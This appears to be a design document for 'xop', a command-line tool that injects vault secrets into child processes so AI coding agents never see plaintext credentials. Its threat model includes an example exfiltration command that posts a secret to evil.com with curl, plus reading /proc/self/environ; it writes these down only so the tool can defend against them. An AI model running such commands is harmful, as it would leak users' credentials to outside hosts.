269 lines
19 KiB
Markdown
269 lines
19 KiB
Markdown
# xop · Design Document
|
||
|
||
> Status: v0.2.1 implemented (2026-10-02). Self-contained encrypted vault, no external backend dependencies. Unlock: OS auth gate first, then file keyring (`~/.xop/keyring`, 0600) or typed passphrase — **deliberately NOT the macOS Keychain** (rejected 2026-10-02: system dialogs during automation).
|
||
|
||
## 1. Problem statement
|
||
|
||
AI agents (Claude Code, Cursor, OpenAI Operator, anything that runs bash) must execute real tools to be useful. Real tools need real credentials. But every existing credential-flow forces the agent to:
|
||
|
||
1. **Read the secret into its context window** — the plaintext enters the LLM provider's logs, training pipelines, screenshots, error reports.
|
||
2. **Pass the secret as a CLI arg or env var that the agent itself reads** — the secret lives in the agent's process memory, recoverable via debuggers or core dumps.
|
||
3. **Repeat the authorization for every operation** — UX death by a thousand "approve this?" prompts.
|
||
|
||
The result is a worst-of-both-worlds: secrets leak into places they shouldn't, AND the user is asked to re-approve constantly.
|
||
|
||
**Core invariant we want:** the AI agent must never observe a secret value. It only ever sees *references* (bare key names like `db_pass`). Real values live for <1ms in `xop`'s memory, are passed into the child process at `execve()` time via `envp`, and are scrubbed from every persistent layer (logs, audit, history).
|
||
|
||
## 2. Design principles
|
||
|
||
| # | Principle | Concretely means |
|
||
|---|---|---|
|
||
| P1 | **References, not values, cross trust boundaries** | LLM API call bodies, IPC payloads, audit logs, and shell history contain only bare key names (`DB_PASS`, `db_pass`). |
|
||
| P2 | **One-shot memory lifetime** | Real values live in the parent process only between `Vault::get()` and `execve()`. After `execve` returns, parent memory is zeroized (rpassword + zeroize crate). |
|
||
| P3 | **Defense in depth at every layer** | Independent guards: argv parse → OS auth (Touch ID gate) → keyring-or-passphrase unlock → envp inject → stdout mask (`12****【xop禁止将密钥泄漏】`) → network policy. Each fails closed independently. |
|
||
| P4 | **Deno-style permission DSL** | `--allow-net=`, `--deny-net=`, `--allow-read=`, `--deny-read=` — same model proven in production by Deno runtime. |
|
||
| P5 | **Self-contained vault, no external CLIs** | xop owns its own encrypted vault at `~/.xop/key.db` (AES-256-GCM, argon2id KDF). No `op`/`vault`/`security` subprocesses to verify, no per-resolve spawn overhead, no metadata leaked to `ps`. |
|
||
| P6 | **Refuse to do the wrong thing** | Any command that *itself* would print the secret (e.g. `echo $DB_PASS`, `env | grep PASS`, `set -x`) is detected at parse-time or runtime and either masked or refused. |
|
||
| P7 | **Boring infrastructure, hot path** | `xop` itself is <5MB static binary, no daemon, no server. Single `fork+execve` per command, returns child's exit code. |
|
||
|
||
## 3. Command surface
|
||
|
||
```
|
||
xop # banner + 5 examples (no panic, no error)
|
||
xop -h | --help | help # full help w/ subcommands + exec examples
|
||
xop init # first-run: prompt passphrase × 2, create ~/.xop/key.db
|
||
xop set KEY # Touch ID → read stdin → encrypt → write
|
||
xop list # Touch ID → enumerate keys (name + created_at, no values)
|
||
xop get KEY [-v|--value] # Touch ID → print value MASKED by default (first 2 chars +
|
||
# ****【xop禁止将密钥泄漏】); -v prints plaintext for HUMAN
|
||
# inspection only (agents must use `xop run` injection)
|
||
xop rm KEY # Touch ID → delete key (--force to skip confirm)
|
||
xop key [--save|--remove] # manage ~/.xop/keyring auto-unlock key (0600 file, NOT Keychain)
|
||
xop [flags] -- CMD [args] # exec mode (inject into child process)
|
||
```
|
||
|
||
Exec-mode flags (existing, mostly kept):
|
||
|
||
```
|
||
-s, --secret KEY=NAME # NAME = bare key name in vault, injected as env KEY
|
||
--secrets-file PATH # bulk-load KEY=NAME pairs
|
||
--allow-net=HOSTS # allow child to make outbound network
|
||
--deny-net=HOSTS # always-deny (beats allow)
|
||
--allow-read=PATHS # allow child to read paths
|
||
--deny-read=PATHS # always-deny read (beats allow)
|
||
--on-leak=mask|kill|refuse # stdout action on secret pattern
|
||
--mask-pattern=REGEX # extra regex to mask in child stdout/stderr
|
||
--dry-run # print effective policy; never exec
|
||
--audit=PATH # default: ~/.xop/audit.jsonl
|
||
--no-color # suppress color in output
|
||
```
|
||
|
||
**REMOVED in v0.2**: `--backend` (no longer meaningful — single local vault).
|
||
|
||
Exit codes:
|
||
- 0 success
|
||
- 64 EX_USAGE — bad flags, missing command, bad ref
|
||
- 69 EX_UNAVAILABLE — vault unreadable
|
||
- 73 EX_CANTCREAT — can't open audit log
|
||
- 77 EX_NOPERM — auth cancelled, wrong passphrase, key not found, leak-killed
|
||
- 78 EX_CONFIG — vault corrupt or missing init
|
||
- 79 EX_SECURITY — secret leak detected and `--on-leak=kill|refuse`
|
||
- 130 child received SIGINT
|
||
|
||
## 4. Architecture
|
||
|
||
```
|
||
┌──────────────────────────────────────────────────────────────────────────┐
|
||
│ xop process │
|
||
│ │
|
||
│ args::Args ◄── clap parse (src/args.rs) │
|
||
│ │ │
|
||
│ ├─ subcommand? ─► commands::{init,set,list,get,rm,key}::run() │
|
||
│ │ ├─ auth::authenticate() (Touch ID gate) │
|
||
│ │ ├─ keyring::load() ∨ rpassword::prompt() │
|
||
│ │ │ (0600 file key → silent; else passphrase) │
|
||
│ │ └─ vault::{open,get,set,...}() │
|
||
│ │ │
|
||
│ └─ exec mode ─► run_exec() │
|
||
│ │ │
|
||
│ ▼ │
|
||
│ SecretRef[] (src/secret.rs) ──► bare "KEY=NAME" pairs │
|
||
│ │ │
|
||
│ ▼ │
|
||
│ policy::Policy (src/policy.rs) │
|
||
│ │ ├── net: NetPolicy { allow, deny } │
|
||
│ │ ├── read: ReadPolicy { allow, deny } │
|
||
│ │ └── leak: Mask | Kill | Refuse │
|
||
│ │ │
|
||
│ ▼ │
|
||
│ vault::resolve_all(refs) ─► auth → keyring ∨ passphrase → decrypt │
|
||
│ │ (single local vault, no subprocess) │
|
||
│ │ key: ~/.xop/keyring (0600) or argon2id(passphrase, salt) │
|
||
│ │ cipher: AES-256-GCM(key, nonce, plaintext) │
|
||
│ ▼ │
|
||
│ injector::plan + build_envp_delta (src/injector.rs) │
|
||
│ │ ├── Envp (default: KEY=VALUE) │
|
||
│ │ ├── Askpass (SSH_ASKPASS — P1) │
|
||
│ │ └── Fd (P1) │
|
||
│ ▼ │
|
||
│ tokio::process::Command spawn with: │
|
||
│ - argv = scrubbed command line (refs unchanged, never values) │
|
||
│ - envp = parent_env + envp_delta │
|
||
│ - pre_exec: setrlimit(RLIMIT_CORE, 0, 0) (no core dumps) │
|
||
│ - stdout/stderr = piped through guard/stdout.rs │
|
||
│ - stdin = inherited from parent │
|
||
│ │ │
|
||
│ ▼ │
|
||
│ waitpid() ─► exit code propagated │
|
||
│ │
|
||
│ Throughout: audit::AuditLog appends ref-only events to ~/.xop/audit.jsonl
|
||
└──────────────────────────────────────────────────────────────────────────┘
|
||
```
|
||
|
||
## 5. Reference syntax (the secret grammar)
|
||
|
||
### 5.1 On the command line
|
||
|
||
```bash
|
||
# Explicit injection flag — preferred
|
||
xop --secret DB_PASS=db_pass --allow-net=db.local:5432 --deny-net=* -- mysql ...
|
||
|
||
# Both halves of KEY=NAME refer to vault keys (no scheme prefix in v0.2).
|
||
# KEY = env var name to inject; NAME = key in ~/.xop/key.db.
|
||
# They are usually the same string, but can differ when mapping multiple env names.
|
||
```
|
||
|
||
**Why bare keys (no scheme):** v0.1 had `op://` / `vault://` / `keychain://` schemes, which leaked which external backend was in use (metadata). v0.2 collapses to a single local vault — the ref is just the key name.
|
||
|
||
### 5.2 In `--secrets-file`
|
||
|
||
```bash
|
||
# .env.xop (safe to commit)
|
||
DB_HOST="db.prod.example.com"
|
||
DB_USER="readonly"
|
||
DB_PASS="db_pass"
|
||
SSH_KEY="ssh_key"
|
||
```
|
||
|
||
Lines starting with `#` are comments; empty lines ignored.
|
||
|
||
## 6. Vault file format (`~/.xop/key.db`)
|
||
|
||
Binary, fixed-position header for cheap parsing:
|
||
|
||
```
|
||
[4B magic = "XOP\1"]
|
||
[4B version = 0x0000_0001]
|
||
[16B salt = argon2id salt (random per vault)]
|
||
[12B nonce = AES-GCM nonce (random per save)]
|
||
[NB ciphertext = AES-256-GCM(key, nonce, plaintext)]
|
||
[16B tag = AES-256-GCM auth tag]
|
||
```
|
||
|
||
Plaintext (after decrypt) = UTF-8 TOML:
|
||
```toml
|
||
"DB_PASS" = "hunter2"
|
||
"API_KEY" = "sk-live-..."
|
||
```
|
||
|
||
Each `set` / `rm` rewrites the entire file (re-randomizes nonce). Vault size ≈ sum of values + ~80 bytes. Write is atomic: tmp + rename to survive partial writes.
|
||
|
||
## 7. Authentication flow
|
||
|
||
```
|
||
┌─────────────────────────────────────────────────────────────────────┐
|
||
│ init │
|
||
│ no pre-gate (first-run; nothing to protect yet) │
|
||
│ prompt passphrase × 2 (confirm) │
|
||
│ generate salt + nonce + empty entries │
|
||
│ write vault atomically (tmp + rename) │
|
||
│ write keyring atomically (~/.xop/keyring, 0600, hex key) │
|
||
└─────────────────────────────────────────────────────────────────────┘
|
||
┌─────────────────────────────────────────────────────────────────────┐
|
||
│ set / list / get / rm / run (exec mode) │
|
||
│ 1. Pre-gate (OS-level): ALWAYS FIRST — its verdict gates keyring │
|
||
│ local TTY (no SSH_* env): macOS LAContext │
|
||
│ evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)│
|
||
│ — REAL fingerprint prompt, NO password field │
|
||
│ · pass → AllowKeyring (silent keyring OK) │
|
||
│ · cancel/refuse (LAError -128/-5/-12/unknown) │
|
||
│ → AuthCancelled, exit 77, op ABORTS │
|
||
│ · no usable biometrics (-7/-8/-10/-11/-1008/...)/broken │
|
||
│ → RequirePassphrase (keyring NOT consulted) │
|
||
│ SSH session (SSH_TTY/SSH_CONNECTION/SSH_CLIENT): never │
|
||
│ attempt biometrics (the dialog would pop on the local │
|
||
│ console where the remote user can't see it) │
|
||
│ → RequirePassphrase — user types the xop passphrase │
|
||
│ Linux interactive: no biometric gate exists; system password │
|
||
│ forbidden by design → RequirePassphrase │
|
||
│ headless / non-TTY (agent/pipe/CI, `ssh host cmd` w/o pty): │
|
||
│ gate skipped → AllowKeyring — this is the automation │
|
||
│ path that makes `xop run` unattended │
|
||
│ │
|
||
│ 2. Unlock key source: │
|
||
│ keyring::load() → Some(key) (file ~/.xop/keyring, 0600) │
|
||
│ · mode&0o077 != 0 or non-hex → REFUSED (error) │
|
||
│ · XOP_NO_KEYRING=1 → skip file, go to prompt │
|
||
│ → silent; `xop run` works unattended (issue #3) │
|
||
│ None → rpassword::prompt_password("Vault password: ") │
|
||
│ → derive key = argon2id(passphrase, vault_salt) │
|
||
│ (NOT macOS Keychain — rejected 2026-10-02: system dialogs │
|
||
│ during automation; xop never calls security(1)) │
|
||
│ │
|
||
│ 3. AES-GCM decrypt → operate → AES-GCM re-encrypt (set/rm) │
|
||
│ │
|
||
│ 4. Zeroize passphrase buffer (zeroize crate, drop guard) │
|
||
└─────────────────────────────────────────────────────────────────────┘
|
||
```
|
||
|
||
**Defense in depth:** the OS gate verifies *who you are*; the unlock secret unlocks *what's stored*. Critically, the keyring is only consulted **after identity has been positively established** — a live biometric pass on the local console, or a headless automation context (no TTY). In an SSH session or on a machine without usable biometrics the gate returns `RequirePassphrase` and the user must type the xop passphrase ("管理员密码"); the keyring file is not read at all there. (User rules 2026-10-02: 能探测硬件指纹身份就行;任何时候不要让用户输入系统密码;SSH 与无指纹设备应输管理员密码.) `xop key --remove` revokes the keyring instantly.
|
||
|
||
**Bypass:** `XOP_AUTH_BYPASS=1` env var skips the pre-gate for CI/headless tests. The unlock secret (keyring or passphrase) is still required to decrypt the vault — bypass never decrypts. And the passphrase itself can NEVER come from an env var in a release binary (`XOP_VAULT_PASSWORD` is `#[cfg(feature = "test-bypass")]`-gated; verify: `strings target/release/xop | grep XOP_VAULT_PASSWORD` → empty).
|
||
|
||
## 8. Threat model (summary; see threat-model.md for full)
|
||
|
||
| Threat | Mitigation | Layer |
|
||
|---|---|---|
|
||
| LLM provider logs secret in request body | Bare key names only, never values | argv parse |
|
||
| Secret in `ps e` / `/proc/PID/environ` | argv = ref text, values only in child's envp | exec |
|
||
| Child `echo $SECRET` prints to stdout | stdout pipe filter regex | runtime |
|
||
| Child `curl -d "$SECRET" https://evil.com` | `--deny-net=* --allow-net=whitelist` | network policy (stub P2) |
|
||
| Child reads `/proc/self/environ` | `--deny-read` defaults | file policy (stub P2) |
|
||
| Core dump leaks envp | `RLIMIT_CORE=0` in child pre_exec | OS |
|
||
| Audit log leaks values | Type system: `AuditEvent` has no `value` field | type |
|
||
| Vault file stolen off disk | AES-256-GCM + argon2id passphrase | at-rest |
|
||
| Attacker bypasses Touch ID | Unlock secret (keyring/passphrase) still required | two-factor |
|
||
| Keyring file stolen | 0600 enforced (load refuses bad mode); instant revoke `xop key --remove` | accepted tradeoff (threat-model T13) |
|
||
|
||
## 9. Non-goals (v0.2)
|
||
|
||
- ❌ External backend integration (1Password, Vault, Keychain) — explicitly removed in v0.2. Use those tools directly if you want them.
|
||
- ❌ Agent SDK / library mode (`use xop::exec(...)`) — CLI-only.
|
||
- ❌ Windows support — macOS + Linux only initially.
|
||
- ❌ Network proxy as fallback policy — prefer real OS-level enforcement (pf/iptables); http_proxy as future fallback.
|
||
- ❌ GUI confirmation prompts — policy is declared upfront; interactive prompts come later.
|
||
- ❌ Multi-user vaults / shared secrets — single-user local-only.
|
||
|
||
## 10. Compatibility with existing ecosystem
|
||
|
||
| Tool | Relationship to xop |
|
||
|---|---|
|
||
| [secret-agent](https://github.com/paperMoose/secret-agent) | Closest peer: self-contained vault, single machine. xop adds (1) OS-level auth gate (real Touch ID, biometrics-only) before passphrase, (2) Deno-style permission flags, (4) LLM-aware guards (`--on-leak=refuse`). secret-agent is template-based (env template string); xop is flag-based. |
|
||
| 1Password `op run` | No integration in v0.2. If you already have 1Password set up and want zero infra, use `op run` — but it doesn't have network/file policy enforcement or Touch ID gate. |
|
||
| HashiCorp Vault Agent | Sidecar model; xop is fork-style. No integration. |
|
||
| Deno permission | Conceptual debt only — Deno governs its own runtime; xop governs foreign Unix processes via OS primitives. |
|
||
| macOS Keychain | **Rejected 2026-10-02** (implemented once, then removed — `security(1)` popped system authorization dialogs mid-automation; user veto). xop stores nothing in Keychain and never calls `security(1)`. Unlock-key storage = plain file `~/.xop/keyring` (0600). |
|
||
|
||
## 11. Implementation phases
|
||
|
||
| Phase | Scope | Status |
|
||
|---|---|---|
|
||
| **0 — Skeleton** | All modules stubbed, clap schema complete, dry-run works | ✅ v0.1 |
|
||
| **1 — Local vault + auth gate** | `init`/`set`/`list`/`get`/`rm` + Touch ID gate + argon2id + AES-GCM + spawn pipeline | ✅ v0.2 |
|
||
| **1.5 — Unattended unlock + leak masking** | file keyring (`xop key`), OS gate always first, `set` partial-mask echo, stdout guard real filter + kill/refuse | ✅ v0.2.1 |
|
||
| **2 — Network policy** | macOS `pf` integration, Linux `iptables owner` | ⏳ P1 |
|
||
| **3 — File policy** | macOS `sandbox-exec` profile, Linux `landlock` | ⏳ P1 |
|
||
| **4 — Askpass injection** | `SSH_ASKPASS` strategy + `DISPLAY=:0` + `SSH_ASKPASS_REQUIRE=force` | ⏳ P1 |
|
||
| **5 — Library mode** | `pub use xop::exec(...)` for embedding in agents (e.g. xstudio) | ⏳ v0.3 |
|
||
|
||
See [HANDOFF.md](../HANDOFF.md) for the next-session checklist. |